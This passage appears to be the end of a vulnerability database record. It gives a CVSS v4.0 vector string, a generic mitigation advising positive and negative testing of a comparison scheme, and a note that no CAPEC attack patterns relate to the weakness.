      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation
Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

No CAPEC attack patterns related to this CWE.